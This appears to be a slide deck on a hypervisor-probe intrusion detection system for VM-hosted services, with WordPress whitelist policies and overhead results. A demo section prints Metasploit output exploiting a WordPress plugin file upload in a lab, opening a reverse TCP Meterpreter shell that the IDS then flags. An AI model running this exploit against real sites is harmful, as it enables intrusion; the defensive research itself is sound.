IDS for Services Deployed on Virtual Appliances

Read Sprabery
Problem Statement

- Cloud Services are deployed on Virtual Machines.
  - Can we use this fact to provide a defense in depth Intrusion Detection System for services deployed on cloud infrastructure

- Hypervisors can observe
  - Program execution
  - System Calls in the guest kernel
  - Files being read and written to

- What kind of policies can we build around such information?
  - What overhead is caused by collecting the information?

- Can we use VM classifications to group policies?
  - One for dynamic execution engine (PHP, python, cgi)
  - Another for Apache Web Server
  - Database Server
Goals

- Produce a set of probes to find and report relevant information in a manner that can be used by a policy layer
- Develop a policy layer that lets users classify VMs into distinct categories and enforce a set of binaries to be executed and config files that should not be modified
- Develop a representative set of policies for a popular web application such as Wordpress (deployed across 3 virtual machines)
- **Ensure completeness of trusted event log (NEW)**
- Test policies for
  - Performance / Overhead
  - Ease of Use
Cloud Deployment of a Typical Web Application

Virtual Appliances (VA) deployed in the cloud

- Solid lines HTTP traffic
- Dashed lines mysql
Probing Overview

Monitored Guest
Guest Kernel Address Space
0xFFFFFC08c | sys_exec | int3
0xFFFFFC060 | sys_open | int3

Monitored Guest
Guest Kernel Address Space
0xFFFFFC08c | sys_exec | int3
0xFFFFFC060 | sys_open | int3

Unmonitored Guest
Guest Kernel Address Space
0xFFFFFC08c | sys_exec
0xFFFFFC060 | sys_open

Guests

Hypervisor

int3 probe forwarder
KVM

SysExecProbe

SysOpenProbe

Host Linux Kernel
Overview of Event Based Hypervisor Probing

Hypervisor
Kernel
Module

Hypervisor
User Space

Output Log

Policy Recorder
Event $E_1 \rightarrow$ Policy $P_1$
Event $E_2 \rightarrow$ Policy $P_1$

Event Parsing
Log Buffer
$(E_1, A_1, E_2) \rightarrow$ Event $E_1$
$(E_3, A_3, E_4) \rightarrow$ Event $E_4$

Alert System
Policy Reader
Event Monitor & Policy Alerts

Policies
{exec: {filename: "/sbin/dhclient-script"}}
{open: {read_only, filename: "/sbin/resolvconf"}}
Ensuring the Completeness of Probe Output

- Completeness - not missing any call to a probed function after the kernel is initialized

- Completeness is essential to ensure policy compliance between the time a guest is booted and the time the probing begins
  - One could quickly inject malware that tampers with the host kernel, and such an event would not appear in the IDS
Attack Model
Attack Model

1. IDTR/MSRs
   Hardware Invocation

2. Risk of Timing Attack
   Interrupts Disabled
   enable_interrupts()
   call *sys_call_table(,%rax,8)

3. SYSTEM_CALL
4. sys_call_table
5. SYS_EXECVE

NEFARIOUS CODE BLOCK
Overhead & Benchmarking

![Chart showing performance slowdown with probes for Specific and Generic Handlers in Apache and OpenSSL.](image-url)
Example Policy

- Requires profiling the guest application
  - Need a representative workload.
- Main portion of Wordpress Policy Below

```json
{"open": {"type": "whitelist", "access_type": "read_only", "directory": "/var/www/html"}},
{"open": {"type": "whitelist", "access_type": "create", "directory": "/var/www/html/wp-content/uploads"}},
{"open": {"type": "whitelist", "access_type": "modification", "directory": "/var/www/html/wp-content/uploads"}},
{"open": {"type": "whitelist", "access_type": "read_only", "directory": "/var/www/html/wp-content/uploads"}},
{"open": {"type": "whitelist", "access_type": "create", "directory": "/var/www/html/wp-content/plugins"}},
{"open": {"type": "whitelist", "access_type": "modification", "directory": "/var/www/html/wp-content/plugins"}},
{"open": {"type": "whitelist", "access_type": "read_only", "directory": "/var/www/html/wp-content/plugins"}},
{"open": {"type": "whitelist", "access_type": "create", "directory": "/var/www/html/wp-content"}},
{"open": {"type": "whitelist", "access_type": "modification", "directory": "/var/www/html/wp-content"}},
{"open": {"type": "whitelist", "access_type": "read_only", "directory": "/var/www/html/wp-content"}}
```
Example Policy

- Because VA’s are built using the same base distro, some policies can be shared
- DHCP Policy Below
  - Runs periodically
Attack Scenario & Results

- Wordpress vulnerability
  - AJAX Load More Plugin
    - Allowed a user to inject arbitrary php code.
    - User passwords for wordpress accounts easy to guess
    - Full control over the www-data user (web server user)

- Linux Mint - ISO’s compromised through wordpress vulnerability
  - Attackers used a similar wordpress vulnerability to get shell as the www-data user
  - URL’s for ISO’s were then changed to a malicious image
Attack Scenario & Results

- Start IDS
Attack Scenario & Results

- Run Exploit

```
 Terminal - sudo ./start_ids apache dhcp.wordpress
+ service_ids git:(alerts) > sudo ./start_ids apache dhcp.wordpress
+ rmmmod hprobe_sys_open.ko
rmmmod: ERROR: Module hprobe_sys_open is not currently loaded
make: [load] Error 1 (ignored)
+ inmod hprobe_sys_open.ko
+ rmmmod hprobe_sys_exec.ko
rmmmod: ERROR: Module hprobe_sys_exec is not currently loaded
make: [load] Error 1 (ignored)
+ inmod hprobe_sys_exec.ko
POLICIES LOADED!
```

```
+ Terminal - ubuntu@ubuntu:~

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proxies</td>
<td>192.168.122.239</td>
<td>yes</td>
<td>The target address</td>
</tr>
<tr>
<td>HOST</td>
<td>80</td>
<td>yes</td>
<td>The target port</td>
</tr>
<tr>
<td>SSL</td>
<td>false</td>
<td>no</td>
<td>Negotiate SSL/TLS for outgoing connections</td>
</tr>
<tr>
<td>TARGETURI</td>
<td>/</td>
<td>yes</td>
<td>The base path to the wordpress application</td>
</tr>
<tr>
<td>VHOST</td>
<td></td>
<td>yes</td>
<td>HTTP server virtual host</td>
</tr>
<tr>
<td>WP_PASSWORD</td>
<td>ubuntu</td>
<td>yes</td>
<td>Valid password for the provided username</td>
</tr>
<tr>
<td>WP_USERNAME</td>
<td>ubuntu</td>
<td>yes</td>
<td>A valid username</td>
</tr>
</tbody>
</table>

Exploit target:

```
Id  Name  
0   Ajax Load More 2.8.1.1
```

```
nsf exploit(wp_ajax_load_more_file_upload) > exploit
[*] Started reverse TCP handler on 192.168.122.120:4444
[*] Uploading payload
[*] Calling uploaded file
[*] Sending stage (33684 bytes) to 192.168.122.239
[*] Meterpreter session 1 opened (192.168.122.120:4444 -> 192.168.122.239:40167) at 2016-05-03 19:32:31 +0000
```

```
This exploit may require manual cleanup of ‘default.php’ on the target
```

```
meterpreter >
meterpreter > ls
Listing: /var/www/html/wp-content/plugins/ajax-load-more/core/repeater
```

```
Mode  Size  Type  Last modified  Name
--------  -----  -----  ------------------  
```
Attack Scenario & Results

- Attacker begins investigating the victim
Attack Scenario & Results

- Attacker opens shell

```
meterpreter > shell
Process 1196 created.
Channel 0 created.
ls
default.php

```

```
ALERT! The following event violated a policy!
{"exec": {"type": "whitelist", "filename": "/bin/sh"}}
ALERT! The following event violated a policy!
{"exec": {"type": "whitelist", "filename": "/bin/ls"}}
ALERT! The following event violated a policy!
{"open": {"type": "whitelist", "access_type": "read_only", "filename": "/lib/x86_64-linux-gnu/libacl.so.1"}}
ALERT! The following event violated a policy!
{"open": {"type": "whitelist", "access_type": "read_only", "filename": "/lib/x86_64-linux-gnu/libattr.so.1"}}
```
Summary

- Low Overhead
- Log Completeness
  - Uses EPT faults to load probes when instructions are loaded
- Policies prove to be effective
  - And useful against real world attacks